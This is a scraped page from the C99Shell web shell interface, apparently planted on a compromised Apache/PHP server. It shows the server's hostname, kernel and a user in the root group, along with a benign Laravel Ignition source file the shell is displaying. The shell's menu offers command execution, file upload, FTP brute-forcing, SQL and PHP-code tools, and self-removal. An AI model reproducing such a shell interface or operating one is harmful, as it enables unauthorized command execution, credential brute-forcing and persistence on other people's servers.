!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/facade/ignition/src/Views/Concerns/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CollectsViewExceptions.php (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition\Views\Concerns;

use 
Illuminate\Foundation\Application;
use 
Illuminate\Support\Collection;
use 
Illuminate\View\Engines\CompilerEngine;

trait 
CollectsViewExceptions
{
    protected 
$lastCompiledData = [];

    public function 
collectViewData($path, array $data): void
    
{
        
$this->lastCompiledData[] = [
            
'path' => $path,
            
'compiledPath' => $this->getCompiledPath($path),
            
'data' => $this->filterViewData($data),
        ];
    }

    public function 
filterViewData(array $data): array
    {
        
// By default, Laravel views get two shared data keys:
        // __env and app. We try to filter them out.
        
return array_filter($data, function ($value$key) {
            if (
$key === 'app') {
                return ! 
$value instanceof Application;
            }

            return 
$key !== '__env';
        }, 
ARRAY_FILTER_USE_BOTH);
    }

    public function 
getCompiledViewData($compiledPath): array
    {
        
$compiledView $this->findCompiledView($compiledPath);

        return 
$compiledView['data'] ?? [];
    }

    public function 
getCompiledViewName($compiledPath): string
    
{
        
$compiledView $this->findCompiledView($compiledPath);

        return 
$compiledView['path'] ?? $compiledPath;
    }

    protected function 
findCompiledView($compiledPath): ?array
    {
        return 
Collection::make($this->lastCompiledData)
            ->
first(function ($compiledData) use ($compiledPath) {
                
$comparePath $compiledData['compiledPath'];

                return 
realpath(dirname($comparePath)).DIRECTORY_SEPARATOR.basename($comparePath) === $compiledPath;
            });
    }

    protected function 
getCompiledPath($path): string
    
{
        if (
$this instanceof CompilerEngine) {
            return 
$this->getCompiler()->getCompiledPath($path);
        }

        return 
$path;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0301 ]--